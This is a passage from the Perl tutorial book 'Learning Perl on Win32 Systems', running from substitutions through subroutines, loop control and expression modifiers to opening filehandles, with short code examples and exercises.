s/(\w+)/<$1>/g; # $_ is now "<this> <is> <a> <test>"

Recall that $1 is set to the data within the first parenthesized pattern match.

An i suffix (either before or after the g, if present) causes the regular expression in the substitute operator to ignore case, just like the same option on the match operator described earlier.

As with the match operator, an alternate delimiter can be selected if the slash is inconvenient. Just use the same character three times:[7]

[7] Or, use two matching pairs if a left-right pair character is used.

s#fred#barney#; # replace fred with barney, like s/fred/barney/

Also as with the match operator, you can specify an alternate target with the =~ operator. In this case, the selected target must be something you can assign a scalar value to, such as a scalar variable or an element of an array. Here's an example:

$which = "this is a test";
$which =~ s/test/quiz/; # $which is now "this is a quiz"
$someplace[$here] =~ s/left/right/; # change an array element
$d{"t"} =~ s/^/x /; # prepend "x " to hash element

Previous: 7.4 More on the Matching Operator | Learning Perl on Win32 Systems | Next: 7.6 The split and join Functions
7.4 More on the Matching Operator | Book Index | 7.6 The split and join Functions


[Chapter 7] 7.6 The split and join Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.6 The split and join Functions

Regular expressions can be used to break a string into fields. The split function does this and the join function glues the pieces back together.

7.6.1 The split Function

The split function takes a regular expression and a string and looks for all occurrences of the regular expression within that string. The parts of the string that don't match the regular expression are returned in sequence as a list of values. For example, here's something to parse semicolon-separated fields, such as the PATH environment variable:

$line = "c:\\;;c:\\windows\\;c:\\windows\\system;";
@fields = split(/;/,$line); # split $line, using ; as delimiter
# now @fields is ("c:\", "", "c:\windows","c:\windows\system")

Note how the empty second field became an empty string. If you don't want this to happen, match all of the semicolons in one fell swoop:

@fields = split(/;+/, $line);

This matches one or more adjacent semicolons together, so that there is no empty second field.

One common string to split is the $_ variable, and that turns out to be the default:

$_ = "some string";
@words = split(/ /); # same as @words = split(/ /, $_);

For this split, consecutive spaces in the string to be split will cause null fields (empty strings) in the result. A better pattern would be / +/, or ideally /\s+/, which matches one or more whitespace characters together. In fact, this pattern is the default pattern,[8] so if you're splitting the $_ variable on whitespace, you can use all the defaults and merely say:

[8] Actually, the "" string is the default pattern, and this will cause leading whitespace to be ignored, but that's still close enough for this discussion.

@words = split; # same as @words = split(/\s+/, $_);

Empty trailing fields do not normally become part of the list. This rule is not generally a concern. A solution like this:

$line = "c:/;c:/windows;c:/windows/system;";
($first, $second, $third, $fourth) =
   split(/;/,$line); # split $line, using ; as delimiter

would simply give $fourth a null (undef) value if the line isn't long enough, or if it contained empty values in the last field. (Extra fields are silently ignored, because list assignment works that way.)

7.6.2 The join Function

The join function takes a list of values and glues them together with a glue string between each list element. The function looks like this:

$bigstring = join($glue,@list);

For example, to rebuild the PATH line, try something like:

$outline = join(";", @fields);

Note that the glue string is not a regular expression - just an ordinary string of zero or more characters.

If you need to get glue ahead of every item instead of just between items, a simple cheat suffices:

$result = join("+", "", @fields);

Here, the extra "" is treated as an empty element, to be glued together with the first data element of @fields. This change results in glue ahead of every element. Similarly, you can get trailing glue with an empty element at the end of the list, like so:

$output = join ("\n", @data, "");

Previous: 7.5 Substitutions | Learning Perl on Win32 Systems | Next: 7.7 Exercises
7.5 Substitutions | Book Index | 7.7 Exercises


[Chapter 7] 7.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

7.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Construct a regular expression that matches:

    (a) At least one a followed by any number of b's

    (b) Any number of backslashes followed by any number of asterisks (any number might be zero)

    (c) Three consecutive copies of whatever is contained in $whatever

    (d) Any five characters, including newline

    (e) The same word written two or more times in a row (with possibly varying intervening whitespace), where "word" is defined as a nonempty sequence of nonwhitespace characters

  2. (a) Write a program that accepts a list of words on STDIN and looks for a line containing all five vowels (a, e, i, o, and u). Run this program on some large text file and see what shows up. In other words, enter:

         > perl myprogram.plx < mytextfile

    (This presumes you name your program myprogram.plx.)

    (b) Modify the program so that the five vowels have to be in order, and intervening letters don't matter.

    (c) Modify the program so that all vowels must be in an increasing order; all five vowels have to be present; and no "e" can occur before an "a", no "i" can occur befor an "e", and so on.

Previous: 7.6 The split and join Functions | Learning Perl on Win32 Systems | Next: 8. Functions
7.6 The split and join Functions | Book Index | 8. Functions


[Chapter 8] Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 7.7 Exercises Chapter 8 Next: 8.2 Invoking a User Function

8. Functions

Contents:
Defining a User Function
Invoking a User Function
Return Values
Arguments
Private Variables in Functions
Semiprivate Variables Using local
File-Level my( ) Variables
Exercises

We've already seen and used predetermined, built-in functions, such as chomp, print, and so on. Now, let's take a look at functions that you define yourself.

8.1 Defining a User Function

A user function, more commonly called a subroutine or just a sub, is defined in your Perl program using a construct like:

sub subname {
        statement_1;
        statement_2;
        statement_3;
}

The subname is the name of the subroutine, which is like the names we've had for scalar variables, arrays, and hashes. Once again, these come from a different namespace, so you can have a scalar variable $fred, an array @fred, a hash %fred, and now a subroutine fred.[1]

[1] Technically, the subroutine's name is &fred, but you seldom need to call it that. See Chapter 2 of Programming Perl for all of the gory details.

The block of statements following the subroutine name becomes the definition of the subroutine. When the subroutine is invoked (described shortly), the block of statements that makes up the subroutine is executed, and any return value (described later) is returned to the caller.

Here, for example, is a subroutine that displays that famous phrase:

sub say_hello {
        print "hello, world!\n";
}

Subroutine definitions can be anywhere in your program text (they are skipped on execution), but we like to put them at the end of the file, so that the main part of the program appears at the beginning of the file. (If you like to think in Pascal terms, you can put your subroutines at the beginning and your executable statements at the end, instead. It's up to you.)

Subroutine definitions are global;[2] there are no local subroutines. If you have two subroutine definitions with the same name, the later one overwrites the earlier one without warning.[3]

[2] They are global to the current package, actually, but since this book doesn't really deal with separate packages, you may think of subroutine definitions as global to the whole program.

[3] This statement is true, unless you are running with the -w switch.

Within the subroutine body, you may access or give values to variables that are shared with the rest of the program (a global variable). In fact, by default, any variable reference within a subroutine body refers to a global variable. We'll tell you about the exceptions in the later section entitled "Private Variables in Functions." In the following example:

sub say_what {
  print "hello, $what\n";
}

$what refers to the the global $what, which is shared with the rest of the program.

Previous: 7.7 Exercises | Learning Perl on Win32 Systems | Next: 8.2 Invoking a User Function
7.7 Exercises | Book Index | 8.2 Invoking a User Function


[Chapter 8] 8.2 Invoking a User Function

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.2 Invoking a User Function

You invoke a subroutine from within any expression by following the subroutine name with parentheses, as in:

say_hello(); # a simple expression
$a = 3 + say_hello() # part of a larger expression
for ($x = start_value(); $x < end_value(); $x += increment()) {
        ...
} # invoke three subroutines to define values

A subroutine can invoke another subroutine, and that subroutine can in turn invoke another subroutine, and so on, until all available memory is filled with return addresses and partially computed expressions. (No mere eight or 32 levels could satisfy a real programmer.)

Previous: 8.1 Defining a User Function | Learning Perl on Win32 Systems | Next: 8.3 Return Values
8.1 Defining a User Function | Book Index | 8.3 Return Values


[Chapter 8] 8.3 Return Values

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.3 Return Values

A subroutine is always part of some expression. The value of the subroutine invocation is called the return value. The return value of a subroutine is the value of the return statement or of the last expression evaluated in the subroutine.

For example, let's define this subroutine:

sub sum_of_a_and_b {
    return $a + $b;
}

The last expression evaluated in the body of this subroutine (in fact, the only expression evaluated) is the sum of $a and $b, so the sum of $a and $b will be the return value. Here's that in action:

$a = 3; $b = 4;
$c = sum_of_a_and_b();   # $c gets 7
$d = 3*sum_of_a_and_b(); # $d gets 21

A subroutine can also return a list of values when evaluated in a list context. Consider this subroutine and invocation:

sub list_of_a_and_b {
return ($a,$b);
}
$a = 5; $b = 6;
@c = list_of_a_and_b(); # @c gets (5,6)

The last expression evaluated really means the last expression evaluated, rather than the last expression defined in the body of the subroutine. For example, this subroutine returns $a if $a > 0; otherwise, it returns $b:

sub gimme_a_or_b {
        if ($a > 0) {
            print "choosing a ($a)\n";
    return $a;
        } else {
            print "choosing b ($b)\n";
    return $b;
        }
}

These examples are all rather trivial. It gets better when we can pass values that are different for each invocation into a subroutine, instead of having to rely on global variables. In fact, this discussion is coming right up.

Previous: 8.2 Invoking a User Function | Learning Perl on Win32 Systems | Next: 8.4 Arguments
8.2 Invoking a User Function | Book Index | 8.4 Arguments


[Chapter 8] 8.4 Arguments

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.4 Arguments

Although subroutines that have one specific action are useful, a whole new level of usefulness becomes available when you can pass arguments to a subroutine. In Perl, the subroutine invocation (with the ampersand and the subroutine name) is followed by a list within parentheses, causing the list to be automatically assigned to a special variable named @_ for the duration of the subroutine. The subroutine can access this variable to determine the number of arguments and the value of those arguments. For example:

sub say_hello_to {
        print "hello, $_[0]!\n"; # first parameter is target
}

Here, we see a reference to $_[0], which is the first element of the @_ array. Special note: although similar in appearance, the $_[0] value (the first element of the @_ array) has nothing whatsoever to do with the $_ variable (a scalar variable of its own). Don't confuse them! The code seems to say hello to whomever we pass as the first parameter. As a result, we can invoke it like this:

say_hello_to("world");                    # gives hello, world!
$x = "somebody";
say_hello_to($x);                         # gives hello, somebody!
say_hello_to("me") + say_hello_to("you"); # and me and you

Note that in the last line, the return values weren't really used. But in evaluating the sum, Perl has to evaluate all of its parts, so the subroutine was invoked twice.

Here's an example using more than one parameter:

sub say {
    print "$_[0], $_[1]!\n";
}

say("hello","world");         # hello world, once again
say("goodbye","cruel world"); # silent movie lament

Excess parameters are ignored: if you never look at $_[3], Perl doesn't care. And insufficient parameters are also ignored; you simply get undef if you look beyond the end of the @_ array, as with any other array.

The @_ variable is private to the subroutine; if there's a global value for @_, it is saved away before the subroutine is invoked and restored to its previous value upon return from the subroutine. This also means that a subroutine can pass arguments to another subroutine without fear of losing its own @_ variable; the nested subroutine invocation gets its own @_ in the same way.

Let's revisit that "add a and b" routine from the previous section. Here's a subroutine that adds any two values (specifically, the two values passed to the subroutine as parameters):

sub add_two {
        $_[0] + $_[1];
}
print add_two(3,4); # prints 7
$c = add_two(5,6);  # $c gets 11

Now let's generalize this subroutine. What if we had 3, 4, or 100 values to add together? We could do it with a loop, as shown:

sub add {
    $sum = 0;          # initialize the sum
    foreach $_ (@_) {
        $sum += $_;    # add each element
    }
    return $sum;       # the sum of all elements
}
$a = add(4,5,6);       # adds 4+5+6 = 15, and assigns to $a
print add(1,2,3,4,5);  # prints 15
print add(1..5);       # also prints 15, because 1..5 is expanded

What if we had a variable named $sum when we called add? We just clobbered it. In the next section, we see how to avoid this situation.

Previous: 8.3 Return Values | Learning Perl on Win32 Systems | Next: 8.5 Private Variables in Functions
8.3 Return Values | Book Index | 8.5 Private Variables in Functions


[Chapter 8] 8.5 Private Variables in Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.5 Private Variables in Functions

We've already talked about the @_ variable and how a local copy gets created for each subroutine invoked with parameters. You can create your own scalar, array, and hash variables that work the same way. You do this with the my operator, which takes a list of variable names and creates local versions of them (or instantiations, if you like bigger words). Here's that add function again, this time using my:

sub add {
         my $sum;         # make $sum a local variable
         $sum = 0;        # initialize the sum
         foreach $_ (@_) {
             $sum += $_;  # add each element
         }
         return $sum;     # last expression evaluated:
                          # the sum of elements
}

When the first body statement is executed, any current value of the global variable $sum is saved away, and a brand new variable named $sum is created (with the value undef). When the subroutine exits, Perl discards the local variable and restores the previous (global) value. This method works even if the $sum variable is currently a local variable from another subroutine (a subroutine that invokes this one, or one that invokes one that invokes this one, and so on). Variables can have many nested local versions, although you can access only one at a time.

Here's a way to create a list of all the elements of an array greater than 100:

sub bigger_than_100 {
         my (@result);         # temporary for holding the return value
         foreach $_ (@_) {     # step through the arg list
             if ($_ > 100) {   # is it eligible?
                 push(@result,$_); # add it
             }
         }
         return @result;           # return the final list
}

What if we wanted all elements greater than 50, rather than all elements greater than 100? We'd have to edit the program, changing each 100 to 50. But what if we need both? Well, we can replace the 50 or 100 with a variable reference instead. This change makes the program look like:

sub bigger_than {
         my($n,@values);           # create some local variables
         ($n,@values) = @_;        # split args into limit and values
         my(@result); # temporary for holding the return value
         foreach $_ (@values) {    # step through the arg list
             if ($_ > $n) {        # is it eligible?
                 push(@result,$_); # add it
             }
         }
         @result;                  # return the final list
}
# some invocations:
@new = bigger_than(100,@list);     # @new gets all @list > 100
@this = bigger_than(5,1,5,15,30);  # @this gets (15,30)

Notice that this time, we used two additional local variables to give names to arguments. This method is fairly common in practice - you can more easily talk about $n and @values than talk about $_[0] and @_[1..$#_], and $n and @values are safer as well.

The result of my is an assignable list, meaning that it can be used on the left side of an array assignment operator. You can give this list initial values for each of the newly created variables. (If you don't give values to the list, the new variables start with a value of undef, just like any other new variable.) As a result, we can combine the first two statements of this subroutine, replacing:

my($n,@values);
($n,@values) = @_; # split args into limit and values

with:

my($n,@values)= @_;

This is, in fact, a very common Perl-ish thing to do. Local nonargument variables can be given literal values in the same way, such as:

my($sum) = 0; # initialize local variable

Be warned that despite its appearance as a declaration, my is really an executable operator. Good Perl hacking strategy suggests that you bunch all of your my operators at the beginning of the subroutine definition, before you get into the meat of the routine.

Previous: 8.4 Arguments | Learning Perl on Win32 Systems | Next: 8.6 Semiprivate Variables Using local
8.4 Arguments | Book Index | 8.6 Semiprivate Variables Using local


[Chapter 8] 8.6 Semiprivate Variables Using local

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.6 Semiprivate Variables Using local

Perl gives you a second way to create private variables, using the local function. You must, however, understand the differences between my and local. For example:

$value = "original";

tellme();
spoof();
tellme();

sub spoof {
    local ($value) = "temporary";
    tellme();
}

sub tellme {
    print "Current value is $value\n";
}

This prints out:

Current value is original
Current value is temporary
Current value is original

If my had been used instead of local, the private reading of $value would be available only within the spoof() subroutine. But with local, as the output shows, the private value is not quite so private; it is also available within any subroutines called from spoof(). The general rule is that local variables are visible to functions called from within the block in which those variables are declared.

Whereas my can be used only to declare simple scalar, array, or hash variables with alphanumeric names, local suffers no such restrictions. Also, Perl's built-in variables such as $_, $1, and @ARGV, cannot be declared with my, but work fine with local. Because $_ is so often used throughout most Perl programs, it's probably prudent to place a

local $_;

at the top of any function that uses $_ for its own purposes. This assures that the previous value will be preserved and automatically restored when the function exits.

In your more advanced programming efforts, you may eventually need to know that local variables are really global variables in disguise. That is, the value of the global variable is saved and temporarily replaced with the locally declared value.

By and large, you should prefer to use my over local because my is faster and safer.

Previous: 8.5 Private Variables in Functions | Learning Perl on Win32 Systems | Next: 8.7 File-Level my( ) Variables
8.5 Private Variables in Functions | Book Index | 8.7 File-Level my( ) Variables


[Chapter 8] 8.7 File-Level my( ) Variables

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.7 File-Level my( ) Variables

The my operator can also be used at the outermost level of your program, outside of any subroutines or blocks. While my isn't really a local variable in the sense defined above, it's actually rather useful, especially when used in conjunction with a Perl pragma:[4]

[4] A pragma is a compiler directive. Other directives include those used to set up integer arithmetic, overload numeric operators, or request more verbose warnings and error messages. These are documented in perlmodlib.

 use strict;

If you place this pragma at the beginning of your file, you will no longer be able to use variables (scalars, arrays, and hashes) until you have first declared them. And you declare them with my, like so:

use strict;
my $a;                         # starts as undef
my @b = qw(fred barney betty); # give initial value
...
push @b, qw(wilma);            # cannot leave her out
@c = sort @b;                  # WILL NOT COMPILE

That last statement will be flagged at compile time as an error, because it referred to a variable that had not previously been declared with my (that is, @c). In other words, your program won't even start running unless every single variable being used has been declared.

The advantages of forcing variable declarations are twofold:

  • Your programs will run slightly faster (variables created with my are accessed slightly faster than ordinary variables[5]).

    [5] In this case, ordinary variable is really a package variable (so $x is really $main::x). Variables created with my are not found in any package.

  • You'll catch mistakes in typing much faster, because you'll no longer be able to accidentally reference a nonexisting variable named $freed when you wanted $fred.

Because of these advantages, many Perl programmers automatically begin every new Perl program with use strict.

Previous: 8.6 Semiprivate Variables Using local | Learning Perl on Win32 Systems | Next: 8.8 Exercises
8.6 Semiprivate Variables Using local | Book Index | 8.8 Exercises


[Chapter 8] 8.8 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

8.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a subroutine that takes a numeric value from 1 to 9 as an argument and then returns the English name (such as, one, two, or nine). If the value is out of range, return the original number as the name instead. Test it with some input data; you'll probably have to write some sort of code to call the subroutine. (Hint: the subroutine should not perform any I/O.)

  2. Taking the subroutine from the previous exercise, write a program that takes two numbers and then adds them together, displaying the result as Two plus two equals four. (Don't forget to capitalize the initial word!)

  3. Extend the subroutine to return negative nine through negative one and zero. Try it in a program.

Previous: 8.7 File-Level my( ) Variables | Learning Perl on Win32 Systems | Next: 9. Miscellaneous Control Structures
8.7 File-Level my( ) Variables | Book Index | 9. Miscellaneous Control Structures


[Chapter 9] Miscellaneous Control Structures

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 8.8 Exercises Chapter 9 Next: 9.2 The next Statement

9. Miscellaneous Control Structures

Contents:
The last Statement
The next Statement
The redo Statement
Labeled Blocks
Expression Modifiers
&&, ||, and ?: as Control Structures
Exercises

9.1 The last Statement

In some of the previous exercises, you may have thought, "if I just had a C break statement here, I'd be done." Even if you didn't think that, let me tell you about Perl's equivalent for getting out of a loop early: the last statement.

The last statement breaks out of the innermost enclosing loop block,[1] causing execution to continue with the statement immediately following the block. For example:

[1] Note that the do {} while/until construct does not count as a loop for purposes of next, last, and redo.

while (something) {
        something;
        something;
        something;
        if (somecondition) {
            somethingorother;
            somethingorother;
            last; # break out of the while loop
        }
        morethings;
        morethings;
}
# last comes here

If somecondition is true, the somethingorothers are executed, and then the last forces the while loop to terminate.

The last statement counts only looping blocks, not other blocks that are needed to make up some syntactic construct. As a result, the blocks for the if and else statement, as well as the one for a do {} while/until, do not count; only the blocks that make up the for, foreach, while, until, and "naked" blocks count. (A naked block is a block that is not otherwise part of a larger construct, such as a loop, subroutine, or if/then/else statement.)

Suppose we wanted to see whether a mail message that had been saved in a file was from Erik. Such a message might look like:

From: eriko@axtech.com (Erik Olson)
To: rdenn@ora.com
Date: 01-MAY-97 08:16:24 PM MDT -0700
Subject: A sample mail message

Here's the body of the mail message. And
here is some more.

We'd have to look through the message for a line that begins with From:, and then notice whether the line also contains the login name, eriko.

We could do it this way:

while (<STDIN>) {           # read the input lines
         if (/^From: /) {   # does it begin with From:? If yes...
             if (/eriko/) { # it's from Erik!
                 print "Email from Erik! It's about time!\n";
             }
             last;          # no need to keep looking for From:, so exit
         }                  # end "if from:"
         if (/^$/) {        # blank line?
             last;          # if so, don't check any more lines
         }
}                           # end while

After the line starting with From: is found, we exit the main loop because we want to see only the first From: line. Also, because a mail message header ends at the first blank line, we can exit the main loop there as well.

Previous: 8.8 Exercises | Learning Perl on Win32 Systems | Next: 9.2 The next Statement
8.8 Exercises | Book Index | 9.2 The next Statement


[Chapter 9] 9.2 The next Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.2 The next Statement

Like last, next alters the ordinary sequential flow of execution. However, next causes execution to skip past the rest of the innermost enclosing looping block without terminating the block.[2] next is used like this:

[2] If a continue block exists for the loop, which we haven't yet discussed, next goes to the beginning of the continue block rather than to the end of the block. Pretty close.

while (something) {
        firstpart;
        firstpart;
        firstpart;
        if (somecondition) {
            somepart;
            somepart;
            next;
        }
        otherpart;
        otherpart;
        # next comes here
}

If somecondition is true, then somepart is executed, and otherpart is skipped around.

Once again, the block of an if statement doesn't count as a looping block.

Previous: 9.1 The last Statement | Learning Perl on Win32 Systems | Next: 9.3 The redo Statement
9.1 The last Statement | Book Index | 9.3 The redo Statement


[Chapter 9] 9.3 The redo Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.3 The redo Statement

The third way you can jump around in a looping block is with redo. This construct causes a jump to the beginning of the current block (without reevaluating the control expression), like so:

while (somecondition) {
        # redo comes here
        something;
        something;
        something;
        if (somecondition) {
            somestuff;
            somestuff;
            redo;
        }
        morething;
        morething;
        morething;
}

Once again, the if block doesn't count - just the looping blocks.

With redo, last, and a naked block, you can make an infinite loop that exits out of the middle, like so:

{
        startstuff;
        startstuff;
        startstuff;
        if (somecondition) {
            last;
        }
        laterstuff;
        laterstuff;
        laterstuff;
        redo;
}

This logic would be appropriate for a while-like loop that needed to have some part of the loop executed as initialization before the first test. (In a later section entitled "Expression Modifiers," we'll show you how to write that if statement with fewer punctuation characters.)

Previous: 9.2 The next Statement | Learning Perl on Win32 Systems | Next: 9.4 Labeled Blocks
9.2 The next Statement | Book Index | 9.4 Labeled Blocks


[Chapter 9] 9.4 Labeled Blocks

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.4 Labeled Blocks

What if you want to jump out of the block that contains the innermost block - to exit from two nested blocks at once? In C, you'd resort to that much maligned goto to get you out. No such kludge is required in Perl. You can use last, next, and redo on any enclosing block by giving the block a name with a label.

A label is yet another type of name from yet another namespace following the same rules as scalars, arrays, hashes, and subroutines. As we'll see, however, a label doesn't have a special prefix punctuation character (like $ for scalars, & for subroutines, and so on), so a label named print conflicts with the reserved word print, and would not be allowed. For this reason, you should choose labels that consist entirely of uppercase letters and digits, which will never be chosen for a reserved word in the future. Besides, using all uppercase makes an item stand out better within the text of a mostly lowercase program.

After you've chosen your label, place it immediately in front of the statement containing the block, and follow it with a colon, like this:

SOMELABEL: while (condition) {
        statement;
        statement;
        statement;
        if (nuthercondition) {
            last SOMELABEL;
        }
}

We added SOMELABEL as a parameter to last. This parameter tells Perl to exit the block named SOMELABEL, rather than exiting just the innermost block. In this case, we don't have anything but the innermost block. But suppose we had nested loops:

OUTER: for ($i = 1; $i <= 10; $i++) {
        INNER: for ($j = 1; $j <= 10; $j++) {
            if ($i * $j == 63) {
                print "$i times $j is 63!\n";
                last OUTER;
            }
            if ($j >= $i) {
                next OUTER;
            }
        }
}

This set of statements tries all successive values of two small numbers multiplied together until it finds a pair whose product is 63 (7 and 9). After the pair is found, there's no point in testing other numbers, so the first if statement exits both for loops using last with a label. The second if ensures that the bigger of the two numbers will always be the first number by skipping to the next iteration of the outer loop as soon as the condition would no longer hold. This means that the numbers will be tested with ($i, $j) being (1,1), (2,1), (2,2), (3,1), (3,2), (3,3), (4,1), and so on.

Even if the innermost block is labeled, the last, next, and redo statements without the optional parameter (the label) still operate with respect to that innermost block. Also, you can't use labels to jump into a block - just out of a block. The last, next, or redo has to be within the block.

Previous: 9.3 The redo Statement | Learning Perl on Win32 Systems | Next: 9.5 Expression Modifiers
9.3 The redo Statement | Book Index | 9.5 Expression Modifiers


[Chapter 9] 9.5 Expression Modifiers

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.5 Expression Modifiers

As Yet Another Way to indicate "if this, then that," Perl allows you to tag an if modifier onto an expression that is a standalone statement, like this:

some_expression if control_expression;

In this case, control_expression is evaluated first for its truth value (using the same rules as always), and if true, some_expression is evaluated next. This method is roughly equivalent to:

if (control_expression) {
        some_expression;
}

except that you don't need the extra punctuation, the statement reads backwards, and the expression must be a simple expression (not a block of statements). Many times, however, this inverted description turns out to be the most natural way to state the problem. For example, here's how you can exit from a loop when a certain condition arises:

LINE: while (<STDIN>) {
        last LINE if /^From: /;
}

See how much easier that is to write? And you can even read it in a normal English way: "last line if it begins with From."

Other parallel forms include the following:

exp2 unless exp1;# like: unless (exp1) { exp2; }
exp2 while exp1; # like: while (exp1) { exp2; }
exp2 until exp1; # like: until (exp1) { exp2; }

All of these forms evaluate exp1 first, and based on that evaluation, do or don't do something with exp2.

For example, here's how to find the first power of two greater than a given number:

chomp($n = <STDIN>);
$i = 1;                   # initial guess
$i *= 2 until $i > $n;    # iterate until we find it

Once again, we gain some clarity and reduce the clutter.

These forms don't nest: you can't say exp3 while exp2 if exp1. This restriction is because the form exp2 if exp1 is no longer an expression, but a full-blown statement, and you can't tack one of these modifiers on after a statement.

Previous: 9.4 Labeled Blocks | Learning Perl on Win32 Systems | Next: 9.6 &&, ||, and ?: as Control Structures
9.4 Labeled Blocks | Book Index | 9.6 &&, ||, and ?: as Control Structures


[Chapter 9] 9.6 &&, ||, and ?: as Control Structures

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.6 &&, ||, and ?: as Control Structures

These look like punctuation characters, or parts of expressions. Can they really be considered control structures? Well, in Perl-think, almost anything is possible, so let's see what we're talking about here.

Often, you run across "if this, then that." We've previously seen these two forms:

if (this) { that; } # one way
that if this;       # another way

Here's a third (and believe it or not, there are still others):

this && that;

Why does this statement work? Isn't that the logical-and operator? Check out what happens when this takes on each value of true or false:

  • If this is true, then the value of the entire expression is still not known, because it depends on the value of that. So that has to be evaluated.

  • If this is false, there's no point in looking at that, because the value of the whole expression has to be false. Because you don't have to evaluate that, we might as well skip it.

And in fact, Perl does just that. Perl evaluates that only when this is true, making the form equivalent to the previous two examples.

Likewise, the logical or works like the unless statement (or unless modifier). So, you can replace:

unless (this) { that; }

with

this || that;

Finally, the C-like ternary operator:

exp1 ? exp2 : exp3;

evaluates to exp2 if exp1 is true, and to exp3 in all other cases. You might have used:

if (exp1) { exp2; } else { exp3; }

but you could have eliminated all of that punctuation. For example, you could write:

($a < 10) ? ($b = $a) : ($a = $b);

Which one should you use? Your choice depends on your mood, sometimes, or on how big each of the expression parts are, or on whether you need to parenthesize the expressions because of precedence conflicts. Look at other people's programs, and see what they do. You'll probably see a little of each. Larry suggests that you put the most important part of the expression first, so that it stands out.

Previous: 9.5 Expression Modifiers | Learning Perl on Win32 Systems | Next: 9.7 Exercises
9.5 Expression Modifiers | Book Index | 9.7 Exercises


[Chapter 9] 9.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

9.7 Exercises

See Appendix A, Exercise Answers for the answers.

  1. Extend the problem from the last chapter to repeat the operation until the word end is entered for one of the values. (Hint: use an infinite loop, and then do a last if either value is end.)

  2. Rewrite the exercise from Chapter 4, Control Structures, summing numbers up to 999, using a loop that exits from the middle. (Hint: use a naked block with a redo at the end to get an infinite loop, and a last in the middle based on a condition.)

Previous: 9.6 &&, ||, and ?: as Control Structures | Learning Perl on Win32 Systems | Next: 10. Filehandles and File Tests
9.6 &&, ||, and ?: as Control Structures | Book Index | 10. Filehandles and File Tests


[Chapter 10] Filehandles and File Tests

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 9.7 Exercises Chapter 10 Next: 10.2 Opening and Closing a Filehandle

10. Filehandles and File Tests

Contents:
What Is a Filehandle?
Opening and Closing a Filehandle
Using Pathnames and Filenames
A Slight Diversion: die
Using Filehandles
The -x File Tests
The stat Function
Exercises

10.1 What Is a Filehandle?

A filehandle in a Perl program is the name for an I/O connection between your Perl process and the outside world. We've already seen and used filehandles implicitly: STDIN is a filehandle, naming the connection between the Perl process and the standard input. Likewise, Perl provides STDOUT (for standard output) and STDERR (for standard error output). These names are the same as those used by the C and C++ standard I/O library package, which Perl uses for most of its I/O.

Filehandle names are like the names for labeled blocks, but they come from yet another namespace (so you can have a scalar $fred, an array @fred, a hash %fred, a subroutine &fred, a label fred, and now a filehandle fred). Like block labels, filehandles are used without a special prefix character, and thus might be confused with present or future reserved words. Once again, the recommendation is that you use ALL UPPERCASE letters in your filehandle; not only will the uppercase stand out better, but it will also guarantee that your program won't fail when a future reserved word is introduced.

Previous: 9.7 Exercises | Learning Perl on Win32 Systems | Next: 10.2 Opening and Closing a Filehandle
9.7 Exercises | Book Index | 10.2 Opening and Closing a Filehandle


[Chapter 10] 10.2 Opening and Closing a Filehandle

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.2 Opening and Closing a Filehandle

Perl provides three filehandles - STDIN, STDOUT, and STDERR - which are automatically open to files or devices established by the program's parent process (probably a command console). You use the open function to open additional filehandles. The syntax looks like this:

open(FILEHANDLE,"somename");

where FILEHANDLE is the new filehandle and somename is the external filename (such as a file or a device) that will be associated with the new filehandle. This invocation opens the filehandle for reading. To open a file for writing, use the same open function, but prefix the filename with a greater-than sign (as with redirection in cmd.exe or command.com):

open(OUT, ">outfile");

We'll see in a later section, "Using Filehandles," how to use this filehandle. Also, as at the command prompt, you can open a file for appending by using two greater-than signs for a prefix, as shown:

open(LOGFILE, ">>mylogfile");

All forms of open return true for success and false for failure. (Opening a file for input fails, for example, if the file is not there or cannot be accessed because of permissions; opening a file for output fails if the file is write protected, or if the directory is not writable or accessible.)

When you are finished with a filehandle, you can close it with the close operator, like so:

close(LOGFILE);

Reopening a filehandle also closes the previously opened file automatically, as does exiting the program. Because of this feature, many Perl programs don't bother with close. But the function is there if you want to be tidy or make sure that all of the data is flushed out before program termination. A close call could also fail if the disk filled up, the remote server that held the file became inaccessible, or any of various other esoteric problems occurred. You should always check the return values of all system calls.

Previous: 10.1 What Is a Filehandle? | Learning Perl on Win32 Systems | Next: 10.3 Using Pathnames and Filenames
10.1 What Is a Filehandle? | Book Index | 10.3 Using Pathnames and Filenames


[Chapter 10] 10.3 Using Pathnames and Filenames

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.3 Using Pathnames and Filenames

When working with files and pathnames, you're faced with an interesting choice: what's the best way of specifying pathnames? Perl accepts either a slash or a backslash as a path delimiter.[1] The slash is typically used by UNIX systems to delimit paths while the backslash is the traditional MS-DOS path delimiter. The slash is also used as a path delimiter when specifying URLs. The following statements all evaluate to the same thing, as far as Perl is concerned:[2]

[1] Acutally, pathnames are just passed to the operating system, which accepts either a slash or a backslash.

[2] The only portable delimiter is the slash. Of course, if you're using drive letters, your script isn't really portable anyway.

"c:\\temp"    # backslash (escaped for double quoted string)
'c:\temp'     # backslash (single quoted string)
"c:/temp"     # slash - no escape needed

